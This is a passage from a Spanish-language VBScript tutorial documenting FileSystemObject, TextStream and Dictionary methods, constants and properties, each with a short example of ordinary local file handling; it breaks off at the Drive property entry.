En el siguiente código se muestra el uso del método Keys: Function EjemploDeDic Dim a, d, i ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo" a = d.Keys ' Obtiene las claves For i = 0 To d.Count -1 ' Itera la matriz s = s & a(i) & "<BR>" ' Devuelve resultados

Page 93: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 93

Next EjemploDeDic = s End Function

Método MoveMétodo MoveMétodo MoveMétodo Move

Descripción

Mueve un archivo o carpeta especificados desde una ubicación a otra.

Sintaxis

objeto.Move destino

La sintaxis del método Move tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto File o Folder

destino Requerido. Destino al que se va a mover el archivo o carpeta. No se admiten caracteres comodín.

Comentarios

Los resultados del método Move en un objeto File o en un objeto Folder son idénticos a las operaciones realizadas con FileSystemObject.MoveFile o FileSystemObject.MoveFolder. Sin embargo, debería tener en cuente que los métodos alternativos son capaces de mover varios archivos o carpetas.

En el siguiente ejemplo se muestra el uso del método Move:

Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\prueba.txt", True) a.WriteLine("Esto es una prueba.") MyFile.Close Set MyFile = fso.GetFile("c:\prueba.txt") MyFile.Move "c:\windows\escritorio\"

Método MoveFileMétodo MoveFileMétodo MoveFileMétodo MoveFile

Descripción

Mueve uno o más archivos desde una ubicación a otra.

Sintaxis

objeto.MoveFile origen, destino

La sintaxis del método MoveFile tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

origen Requerido. La ruta del archivo o archivos que se van a mover. El argumento origen sólo puede contener caracteres comodín en el último componente de la ruta.

destino Requerido. La ruta a la que se van a mover el archivo o archivos. El argumento destino no puede contener

Page 94: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 94

caracteres comodín.

Comentarios

Si origen contiene caracteres comodín o si destino termina con un separador de ruta (\), se asume que destino especifica una carpeta existente a la que se van a mover los archivos coincidentes. De lo contrario, se asume que destino es el nombre de un archivo de destino que se va a crear. En cualquier caso, pueden ocurrir tres situaciones cuando se mueve un solo archivo:

• Si destino no existe, el archivo se mueve. Este es el caso más frecuente. • Si destino es un archivo existente, se produce un error. • Si destino es un directorio, se produce un error.

También se produce un error si un carácter comodín que se usa en origen no coincide con ningún archivo. El método MoveFile se detiene en el primer error que encuentra. No se intenta deshacer los cambios antes de que se produzca el error.

En el siguiente ejemplo se muestra el uso del método MoveFile:

Sub MoverUnArchivo(EspecificacionDeArchivo) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.MoveFile EspecificacionDeArchivo, "c:\windows\escritorio\" End Sub Importante Este método sólo permite mover archivos entre volúmenes si el sistema operativo lo permite.

Método MoveFolderMétodo MoveFolderMétodo MoveFolderMétodo MoveFolder

Descripción

Mueve una o más carpetas desde una ubicación a otra.

Sintaxis

objeto.MoveFolder origen, destino

La sintaxis del método MoveFolder tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

origen Requerido. La ruta a la carpeta o carpetas que se van a mover. El argumento origen sólo puede contener caracteres comodín en el último componente de la ruta.

destino Requerido. La ruta a la que se van a mover la carpeta o carpetas. El argumento destino no puede contener caracteres comodín.

Comentarios

Si origen contiene caracteres comodín o si destino termina con un separador de rutas (\), se asume que destino especifica una carpeta existente a la que se van a mover los archivos coincidentes. De lo contrario, se asume que destino es el nombre de una carpeta de destino que se va a crear. En cualquier caso, pueden ocurrir tres situaciones cuando se mueve una sola carpeta:

• Si destino no existe, la carpeta se mueve. Este es el caso más frecuente. • Si destino es un archivo existente, se produce un error.

Page 95: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 95

• Si destino es un directorio, se produce un error.

También se produce un error si un carácter comodín que se usa en origen no coincide con ninguna carpeta. El método MoveFolder se detiene en el primer error que encuentra. No se intenta deshacer los cambios hechos antes de que ocurriera el error.

En el siguiente ejemplo se muestra el uso del método MoveFolder:

Sub MoverUnaCarpeta(EspecificacionDeUnidad) Dim fso Set fso = CreateObject("Scripting.FileSystemObject") fso.MoveFolder EspecificacionDeUnidad, "c:\windows\escritorio\" End Sub Importante Este método sólo permite mover carpetas entre volúmenes si el sistema operativo lo permite.

Método OpenAsTextStreamMétodo OpenAsTextStreamMétodo OpenAsTextStreamMétodo OpenAsTextStream

Descripción

Abre un archivo especificado y devuelve un objeto TextStream que se puede usar para leer, escribir o anexar datos al archivo.

Sintaxis

objeto.OpenAsTextStream([modoES, [formato]])

La sintaxis del método OpenAsTextStream tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto File.

modoES Opcional. Indica el modo de entrada y salida. Puede ser una de tres constantes: ForReading, ForWriting o ForAppending.

formato Opcional. Uno de tres valores Tristate usados para indicar el formato del archivo abierto. Si se omite, el archivo se abre con formato ASCII.

Valores

El argumento modoES puede tener uno de los siguientes valores:

Constante Valor Descripción

ForReading 1 Abre un archivo sólo para leer. No se puede escribir en ese archivo.

ForWriting 2 Abre un archivo para escribir. Si ya existe un archivo con el mismo nombre, su contenido anterior se sobreescribe.

ForAppending 8 Abre un archivo y escribe al final del mismo.

El argumento formato puede tener uno de los siguientes valores:

Constante Valor Descripción

TristateUseDefault -2 Opens the file using the system default.

TristateTrue -1 Opens the file as Unicode.

Page 96: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 96

TristateFalse 0 Opens the file as ASCII.

Comentarios

El método OpenAsTextStream proporciona la misma funcionalidad que el método OpenTextFile de FileSystemObject. Además, el método OpenAsTextStream se puede usar para escribir en un archivo.

El siguiente código muestra el uso del método OpenAsTextStream:

Function ProbarTextStream Const ForReading = 1, ForWriting = 2, ForAppending = 8 Const TristateUseDefault = -2, TristateTrue = -1, TristateFalse = 0 Dim fso, f, ts Set fso = CreateObject("Scripting.FileSystemObject") fso.CreateTextFile "test1.txt" ' Crea un archivo. Set f = fso.GetFile("test1.txt") Set ts = f.OpenAsTextStream(ForWriting, TristateUseDefault) ts.Write "Hola a todos" ts.Close Set ts = f.OpenAsTextStream(ForReading, TristateUseDefault) ProbarTextStream = ts.ReadLine ts.Close End Function

Método OpenTextFileMétodo OpenTextFileMétodo OpenTextFileMétodo OpenTextFile

Descripción

Abre un archivo especificado y devuelve un objeto TextStream que se puede usar para leer, escribir o anexar datos al archivo.

Sintaxis

objeto.OpenTextFile(nombredearchivo[, modoES[, crear[, formato]]])

El método OpenTextFileCreateFolder tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto FileSystemObject.

nombredearchivo Requerido. Expresión de cadena que identifica el archivo que se va a abrir.

modoES Opcional. Indica el modo de entrada y salida. Puede ser una de tres constantes: ForReading, ForWriting o ForAppending.

crear Opcional. Valor de tipo Boolean que indica si se puede crear un nuevo archivo si no existe nombredearchivo especificado. El valor es True si se crea un nuevo archivo; y es igual a False si no se crea. El valor predeterminado es False.

formato Opcional. Uno de tres valores Tristate que se usa para indicar el formato del archivo abierto. Si se omite, el archivo se abre como ASCII.

Valores

El argumento modoES puede tener cualquiera de los siguientes valores:

Constante Valor Descripción

ForReading 1 Abre un archivo sólo para leer. No se puede escribir en ese archivo.

Page 97: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 97

ForWriting 2 Abre un archivo sólo para escribir. No se puede leer de ese archivo.

ForAppending 8 Abre un archivo y escribe al final del mismo.

El argumento formato puede tener uno de los siguientes valores:

Constante Valor Descripción

TristateUseDefault -2 Abre el archivo con el valor predeterminado del sistema.

TristateTrue -1 Abre el archivo como Unicode.

TristateFalse 0 Abre el archivo como ASCII.

Comentarios

El siguiente código muestra el uso del método OpenTextFile para abrir un archivo para escribir texto: Sub ProbarOpenTextFile Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True) f.Write "Hola mundo" f.Close End Sub

Método ReadMétodo ReadMétodo ReadMétodo Read

Descripción

Lee un número especificado de caracteres de un archivo TextStream y devuelve la cadena resultante.

Sintaxis

objeto.Read(caracteres)

La sintaxis del método Read tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto TextStream.

caracteres Requerido. Número de caracteres que desea leer del archivo.

Comentarios

En el siguiente ejemplo se muestra el uso del método Read para leer cinco caracteres de un archivo y devolver la cadena resultante: Function LeerPruebaDeArchivoDeTexto Const ParaLeer = 1, ParaEscribir = 2, ParaAnexar = 8 Dim fso, f, Msg Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True) f.Write "Hola mundo" Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer) LeerPruebaDeArchivoDeTexto = f.Read(5) End Function

Page 98: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 98

Método ReadAllMétodo ReadAllMétodo ReadAllMétodo ReadAll

Descripción

Lee un archivo TextStream completo y devuelve la cadena resultante.

Sintaxis

objeto.ReadAll

objeto siempre es el nombre de un objeto TextStream.

Comentarios

Con archivos largos el uso del método ReadAll consume muchos recursos de memoria. Debe usar otras técnicas para introducir un archivo, como leer un archivo línea a línea. Function LeerArchivoDeTextoCompleto Const ParaLeer = 1, ParaEscribir = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True) f.Write "Hola mundo" Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer) LeerArchivoDeTextoCompleto = f.ReadAll End Function

Método ReadLineMétodo ReadLineMétodo ReadLineMétodo ReadLine

Descripción

Lee una línea completa (hasta el carácter de nueva línea, sin incluirlo) desde un archivo TextStream y devuelve la cadena resultante.

Sintaxis

objeto.ReadLine

El argumento objeto siempre es el nombre de un objeto TextStream.

Comentarios

En el siguiente ejemplo se muestra el uso del método ReadLine para leer una línea desde un archivo TextStream y devolver la cadena: Function LeerLíneaEnArchivoDeTexto Const ForReading = 1, ForWriting = 2 Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.OpenTextFile("c:\archprue.txt", ForWriting, True) MyFile.WriteLine "Hola a todos" MyFile.WriteLine "La rápida zorra marrón" MyFile.Close Set MyFile = fso.OpenTextFile("c:\archprue.txt", ForReading) LeerLíneaEnArchivoDeTexto = MyFile.ReadLine ' Devuelve "Hola a todos" End Function

Método RemoveMétodo RemoveMétodo RemoveMétodo Remove

Page 99: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 99

Descripción

Quita un par de elemento y clave de un objeto Dictionary.

Sintaxis

objeto.Remove(clave)

La sintaxis del método Remove tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto Dictionary .

clave Requerido. Clave asociada con el par de elemento y clave que desea quitar el objeto Dictionary .

Comentarios

Se producirá un error si el par de elemento y clave no existe.

En el siguiente código se muestra el uso del método Remove:

Dim a, d ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo" ... d.Remove("b") ' Quita el segundo par

Método RemoveAllMétodo RemoveAllMétodo RemoveAllMétodo RemoveAll

Descripción

El método RemoveAll quita todos los pares de elementos y claves de un objeto Dictionary.

Sintaxis

objeto.RemoveAll

objeto siempre es el nombre de un objeto Dictionary.

Comentarios

En el siguiente código se muestra el uso del método RemoveAll: Dim a, d, i ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos d.Add "b", "Belgrado" d.Add "c", "Cairo" ... a = d.RemoveAll ' Borra el diccionario

Método SkipMétodo SkipMétodo SkipMétodo Skip

Descripción

Page 100: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 100

Salta un número de caracteres especificado al leer un archivo TextStream.

Sintaxis

objeto.Skip(caracteres)

La sintaxis del método Skip tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto TextStream.

caracteres Requerido. Número de caracteres que se saltan al leer un archivo.

Comentarios

Los caracteres saltados se ignoran.

Los siguientes ejemplos usan el método Skip para saltar los primeros seis caracteres antes de leer un archivo de texto:

Function SaltarArchivoDeTexto Const ForReading = 1, ForWriting = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True) f.Write "Hola mundo" Set f = fso.OpenTextFile("c:\prueba.txt", ForReading) f.Skip(6) SaltarArchivoDeTexto = f.ReadLine End Function

Método SkipLineMétodo SkipLineMétodo SkipLineMétodo SkipLine

Descripción

Salta a la siguiente línea al leer un archivo TextStream.

Sintaxis

objeto.SkipLine

objeto siempre es el nombre de un objeto TextStream.

Comentarios

Saltar una línea significa leer y pasar por alto todos los caracteres de una línea hasta el carácter de nueva línea, incluyendo el mismo. Se produce un error si el archivo no está abierto para lectura.

En el siguiente ejemplo se muestra el uso del método SkipLine:

Function SaltarLíneaEnArchivo Const ParaLeer = 1, ParaEscribir = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True) f.Write "Hola mundo" & vbCrLf & "VB Script es divertido" Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer) f.SkipLine

Page 101: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 101

SaltarLíneaEnArchivo = f.ReadLine End Function

Método WriteMétodo WriteMétodo WriteMétodo Write

Descripción

Escribe una cadena especificada en un archivo TextStream.

Sintaxis

objeto.Write(cadena)

La sintaxis del método Write tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto TextStream.

cadena Requerido. Texto que desea escribir en el archivo.

Comentarios

Las cadenas especificadas se escriben en el archivo sin el uso de espacios ni caracteres entre cada cadena. Use el método WriteLine para escribir un carácter de nueva línea o una cadena que termine con un carácter de nueva línea.

En el siguiente ejemplo se muestra el uso del método Write:

Function EscribirEnArchivo Const ParaLeer = 1, ParaEscribir = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True) f.Write "Hola mundo" Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer) EscribirEnArchivo = f.ReadLine End Function

Método WriteBlankLinesMétodo WriteBlankLinesMétodo WriteBlankLinesMétodo WriteBlankLines

Descripción

Escribe un número especificado de caracteres de nueva línea en un archivo TextStream.

Sintaxis

objeto.WriteBlankLines(lines)

La sintaxis del método WriteBlankLines tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto TextStream.

lines Requerido. Número de caracteres de nueva línea que desea escribir en el archivo.

Page 102: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 102

Comentarios

En el siguiente ejemplo se muestra el uso del método WriteBlankLines: Function EscribirLíneasEnBlancoEnArchivo Const ParaLeer = 1, ParaEscribir = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ParaEscribir, True) f.WriteBlankLines 2 f.WriteLine "Hola mundo" Set f = fso.OpenTextFile("c:\prueba.txt", ParaLeer) EscribirLíneasEnBlancoEnArchivo = f.ReadAll End Function

Método WriteLineMétodo WriteLineMétodo WriteLineMétodo WriteLine

Descripción

Escribe una cadena especificada y un carácter de nueva línea en un archivo TextStream.

Sintaxis

objeto.WriteLine([cadena])

La sintaxis del método WriteLine tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto TextStream.

cadena Opcional. El texto que desea escribir en el archivo. Si se omite, se escribe un carácter de nueva línea en el archivo.

Comentarios

El siguiente ejemplo muestra el uso del método WriteLine: Function EscribirLineaEnArchivo Const ForReading = 1, ForWriting = 2 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True) f.WriteLine "Hola mundo" f.WriteLine "VBScript es divertido" Set f = fso.OpenTextFile("c:\prueba.txt", ForReading) EscribirLineaEnArchivo = f.ReadAll End Function

CONSTANTESCONSTANTESCONSTANTESCONSTANTES

Constantes de DriveTypeConstantes de DriveTypeConstantes de DriveTypeConstantes de DriveType Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de tipos apropiada que contiene estas definiciones de constantes. Para VBScript, debe declarar de forma explícita estas constantes en el código.

Constante Valor Descripción

Page 103: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 103

Unknown 0 Imposible determinar el tipo de unidad.

Removable 1 La unidad tiene soportes extraíbles. Esto incluye todas las unidades de disquetes y muchas otras variedades de dispositivos de almacenamiento.

Fixed 2 La unidad está fija (no extraíble). Esto incluye todas las unidades de disco duro, incluso las que son extraíbles.

Remote 3 Unidades de red. Esto incluye las unidades compartidas de cualquier lugar de la red.

CDROM 4 La unidad es un CD-ROM. No distingue si la unidad de CD-ROM es de sólo lectura o de lectura/escritura.

RAMDisk 5 La unidad es un bloque de memoria de acceso aleatorio (RAM) en el equipo local que se comporta como una unidad de disco.

Constantes de FileAttributteConstantes de FileAttributteConstantes de FileAttributteConstantes de FileAttributte Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de tipos apropiada que contiene estas definiciones de constantes. Para VBScript, debe declarar de forma explícita estas constantes en el código.

Constante Valor Descripción

Normal 0 Archivo normal. Sin atributos.

ReadOnly 1 Archivo de sólo lectura.

Hidden 2 Archivo oculto.

System 4 Archivo del sistema.

Volume 8 Etiqueta del volumen de la unidad de disco.

Directory 16 Carpeta o directorio.

Archive 32 El archivo ha cambiado desde la última copia de seguridad.

Alias 64 Vínculo o método abreviado.

Compressed 128 Archivo comprimido.

Constantes de FileSystemObjectConstantes de FileSystemObjectConstantes de FileSystemObjectConstantes de FileSystemObject FileSystemObject tiene varias constantes útiles que puede utilizar en su código. Las constantes proporcionan una manera cómoda de utilizar los valores sin tener que recordar el valor en sí. También hace que su código sea más fácil de mentener, en caso de que cambiara alguna vez el valor de alguna de las constantes.

Dependiendo del host de secuencias de comandos, estas constantes pueden estar ya definidas. Si es así, use las constantes en cualquier parte de su código en lugar de los valores a los que representan. En los casos donde el host de secuencias de comandos no haga referencia explícita a SCRRUN.DLL, tendrá que definir estas constantes en el código antes de poder utilizarlas. Ejemplos de este caso son Microsoft Internet Explorer y y los Servicios de Microsoft Internet Information Server (IIS).

La lista siguiente describe las diversas categorías de constantes que se proporcionan para FileSystemObject, junto con una breve descripción:

Constantes de DriveType Define los diversos tipos de unidad disponibles en el equipo host, como Fijo, Extraible, CD-ROM, etc.

Constantes de File Attribute Define varios atributos de archivo como Oculto, Sólo lectura, etc.

Constantes de entrada y salida de archivos Define las constantes utilizadas con la entrada y salida de archivos.

Page 104: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 104

Constantes de SpecialFolder Define las carpetas especiales disponibles en su sistema operativo.

Constantes de SpecialFolderConstantes de SpecialFolderConstantes de SpecialFolderConstantes de SpecialFolder Estas constantes sólo están disponibles cuando el proyecto tiene una referencia explícita a la biblioteca de tipos apropiada que contiene estas definiciones de constantes. Para VBScript, debe declarar de forma explícita estas constantes en el código.

Constante Valor Descripción

WindowsFolder 0 La carpeta Windows contiene los archivos instalados con el sistema operativo Windows.

SystemFolder 1 La carpeta System contiene bibliotecas, fuentes y controladores de dispositivos.

TemporaryFolder 2 La carpeta Temp se utiliza para almacenar archivos temporales. La ruta de acceso se encuentra en la variable de entorno TMP.

PROPIEDADESPROPIEDADESPROPIEDADESPROPIEDADES

Propiedad AtEndOfLinePropiedad AtEndOfLinePropiedad AtEndOfLinePropiedad AtEndOfLine

Descripción

Devuelve True si el puntero del archivo precede inmediatamente el marcador de final de archivo en un archivo TextStream; en caso contrario, devuelve False. Sólo lectura.

Sintaxis

objeto.AtEndOfLine

objeto siempre es el nombre de un objeto TextStream.

Comentarios

La propiedad AtEndOfLine sólo se aplica a archivos TextStream que están abiertos para lectura; de lo contrario, se produce un error.

El siguiente código muestra el uso de la propiedad AtEndOfLine:

Function LeerArchivoCompleto(especificaciondearchivo) Const ForReading = 1 Dim fso, elArchivo, cadenadev Set fso = CreateObject("Scripting.FileSystemObject") Set elArchivo = fso.OpenTextFile(especificaciondearchivo, ForReading, False) Do While elArchivo.AtEndOfLine <> True cadenadev = elArchivo.Read(1) Loop elArchivo.Close LeerArchivoCompleto = cadenadev End Function

Propiedad AtEndOfStreamPropiedad AtEndOfStreamPropiedad AtEndOfStreamPropiedad AtEndOfStream

Page 105: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 105

Descripción

Devuelve True si el puntero del archivo está al final de un archivo TextStream; en caso contrario, devuelve False. Sólo lectura.

Sintaxis

objeto.AtEndOfStream

objeto siempre es el nombre de un objeto TextStream.

Comentarios

La propiedad AtEndOfStream sólo se aplica a archivos TextStream que están abiertos para lectura, de lo contrario, se produce un error.

El siguiente código muestra el uso de la propiedad AtEndOfStream:

Function LeerArchivoCompleto(especificaciondearchivo) Const ForReading = 1 Dim fso, elArchivo, cadenadev Set fso = CreateObject("Scripting.FileSystemObject") Set elArchivo = fso.OpenTextFile(especificaciondearchivo, ForReading, False) Do While elArchivo.AtEndOfStream <> True cadenadev = elArchivo.ReadLine Loop elArchivo.Close LeerArchivoCompleto = cadenadev End Function

Propiedad AttributesPropiedad AttributesPropiedad AttributesPropiedad Attributes

Descripción

Establece o devuelve los atributos de archivos o carpetas. Lectura y escritura o sólo lectura, según el atributo.

Sintaxis

objeto.Attributes [= nuevosatributos]

La propiedad Attributes tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto File o Folder

nuevosatributos Opcional. Si se proporciona, nuevosatributos es el nuevo valor para los atributos del objeto especificado.

Valores

El argumento nuevosatributos puede tener cualquiera de los siguientes valores o cualquier combinación lógica de los siguientes valores:

Constante Valor Descripción

Normal 0 Archivo normal. Ningún atributo está establecido.

ReadOnly 1 Archivo de sólo lectura. El atributo es de lectura y escritura.

Page 106: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 106

Hidden 2 Archivo oculto. El atributo es de lectura y escritura.

System 4 Archivo de sistema. El atributo es de lectura y escritura.

Volume 8 Etiqueta de volumen de unidad de disco. El atributo es de sólo lectura.

Directory 16 Carpeta o directorio. El atributo es de sólo lectura.

Archive 32 El archivo se cambió desde la última copia de seguridad. El atributo es de lectura y escritura.

Alias 64 Vínculo o acceso directo. El atributo es de sólo lectura.

Compressed 128 Archivo comprimido. El atributo es de sólo lectura.

Comentarios

El siguiente código muestra el uso de la propiedad Attributes con un archivo: Function AlternarBitModificado(especificaciondearchivo) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) If f.attributes and 32 Then f.attributes = f.attributes - 32 AlternarBitModificado = "El bit de modificado está desactivado." Else f.attributes = f.attributes + 32 AlternarBitModificado = "El bit de modificado está activado." End If End Function

Propiedad AvailableSpacePropiedad AvailableSpacePropiedad AvailableSpacePropiedad AvailableSpace

Descripción

Devuelve la cantidad de espacio disponible para el usuario en una unidad o recurso compartido de red especificados.

Sintaxis

objeto.AvailableSpace

objeto siempre es un objeto Drive.

Comentarios

El valor devuelto por la propiedad AvailableSpace normalmente es igual al valor devuelto por la propiedad FreeSpace. Puede haber diferencias entre ambas en sistemas que admitan cuotas.

El siguiente código muestra el uso de la propiedad AvailableSpace:

Function MostrarEspacioDisponible(unidadRuta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(unidadRuta)) s = "Drive " & UCase(unidadRuta) & " - " s = s & d.VolumeName & "<BR>" s = s & "Espacio disponible: " & FormatNumber(d.AvailableSpace/1024, 0) s = s & " Kbytes" MostrarEspacioDisponible = s End Function

Page 107: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 107

Propiedad ColumnPropiedad ColumnPropiedad ColumnPropiedad Column

Descripción

Propiedad de sólo lectura que devuelve el número de columna de la posición del carácter actual en un archivo TextStream.

Sintaxis

objeto.Column

objeto siempre es el nombre de un objeto TextStream.

Comentarios

Después de escribir un carácter de nueva línea, pero antes de escribir cualquier otro carácter, Column es igual a 1.

En el siguiente ejemplo se muestra el uso de la propiedad Column:

Function ObtenerColumna Const ForReading = 1, ForWriting = 2 Dim fso, f, m Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile("c:\prueba.txt", ForWriting, True) f.Write "Hola mundo" f.Close Set f = fso.OpenTextFile("c:\prueba.txt", ForReading) m = f.ReadLine ObtenerColumna = f.Column End Function

Propiedad CompareModePropiedad CompareModePropiedad CompareModePropiedad CompareMode

Descripción

Establece y devuelve el modo de comparación para comparar claves de cadenas en un objeto Dictionary.

Sintaxis

objeto.CompareMode[ = comparación]

La propiedad CompareMode tiene las siguientes partes:

Parte Descripción

objeto Requerido. Siempre es el nombre de un objeto Dictionary .

comparación Opcional. Si se proporciona, comparación es una valor que representa el modo de comparación usado por funciones como StrComp.

Valores

El argumento comparación tiene los siguientes valores:

Constante Valor Descripción

Page 108: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 108

vbBinaryCompare 0 Realiza una comparación binaria.

vbTextCompare 1 Realiza una comparación de texto.

Comentarios

Se pueden usar valores mayores que 2 para hacer referencia a comparaciones que usan identificadores locales específicos (LCID). Se produce un error si intenta cambiar el modo de comparación de una objeto Dictionary que ya contiene datos.

La propiedad CompareMode usa los mismos valores que el argumento comparación para la función StrComp.

El siguiente ejemplo muestra el uso de la propiedad CompareMode:

Dim d Set d = CreateObject("Scripting.Dictionary") d.CompareMode = vbTextCompare d.Add "a", "Atenas" ' Agrega algunas claves y elementos. d.Add "b", "Belgrado" d.Add "c", "Cairo" d.Add "B", "Baltimore" ' El método Add falla en esta línea porque ' la letra b ya existe en Dictionary.

Propiedad CountPropiedad CountPropiedad CountPropiedad Count

Descripción

Devuelve el número de elementos de una colección u objeto Dictionary. Sólo lectura.

Sintaxis

objeto.Count

objeto siempre es el nombre de uno de los elementos de la lista Se aplica a.

Comentarios

El siguiente código muestra el uso de la propiedad Count: Function MostrarClaves Dim a, d, i, s ' Crea algunas variables Set d = CreateObject("Scripting.Dictionary") d.Add "a", "Atenas" ' Agrega algunas claves y elementos. d.Add "b", "Belgrado" d.Add "c", "Cairo" a = d.Keys ' Obtiene las claves For i = 0 To d.Count -1 ' Itera a través de la matriz s = s & a(i) & "<BR>" ' Crea la cadena de devolución. Next MostrarClaves = s End Function

Propiedad DateCreatedPropiedad DateCreatedPropiedad DateCreatedPropiedad DateCreated

Descripción

Devuelve la fecha y hora en la que se creó el archivo o carpeta especificados. Sólo lectura.

Page 109: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 109

Sintaxis

objeto.DateCreated

objeto siempre es un objeto File o Folder.

Comentarios

El siguiente código muestra el uso de la propiedad DateCreated con un archivo: Function MostrarInformacionDeArchivo(especificaciondearchivo) Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) MostrarInformacionDeArchivo = "Creado: " & f.DateCreated End Function

Propiedad DaPropiedad DaPropiedad DaPropiedad DateLastAccessedteLastAccessedteLastAccessedteLastAccessed

Descripción

Devuelve la fecha y hora de cuando se tuvo acceso al archivo o carpeta por última vez. Sólo lectura.

Sintaxis

objeto.DateLastAccessed

objeto siempre es un objeto File o Folder.

Comentarios

El siguiente código muestra el uso de la propiedad DateLastAccessed con un archivo: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = UCase(especificaciondearchivo) & "<BR>" s = s & "Creado: " & f.DateCreated & "<BR>" s = s & "Último acceso: " & f.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function Importante El comportamiento de este método depende del sistema operativo en el que se esté usando. Si el sistema operativo no proporciona información de hora, no se devolverá nada.

Propiedad DateLastModifiedPropiedad DateLastModifiedPropiedad DateLastModifiedPropiedad DateLastModified

Descripción

Devuelve la fecha y hora cuando se modificó por última vez el archivo o carpeta especificado. Sólo lectura.

Sintaxis

objeto.DateLastModified

objeto siempre es un objeto File o Folder.

Page 110: Tutorial de Visual Basic Scripting

By KarlosVid(ÊÇ) www.idat.byethost14.com 110

Comentarios

El siguiente código muestra el uso de la propiedad DateLastModified con un archivo: Function MostrarInformacionDeAccesoDeArchivo(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFile(especificaciondearchivo) s = UCase(especificaciondearchivo) & "<BR>" s = s & "Creado: " & f.DateCreated & "<BR>" s = s & "Último acceso: " & f.DateLastAccessed & "<BR>" s = s & "Última modificación: " & f.DateLastModified MostrarInformacionDeAccesoDeArchivo = s End Function

Propiedad DrivePropiedad DrivePropiedad DrivePropiedad Drive

Descripción

Devuelve la letra de la unidad en la que reside el archivo o carpeta especificado. Sólo lectura.

Sintaxis

objeto.Drive

objeto siempre es un objeto File o Folder.

Comentarios

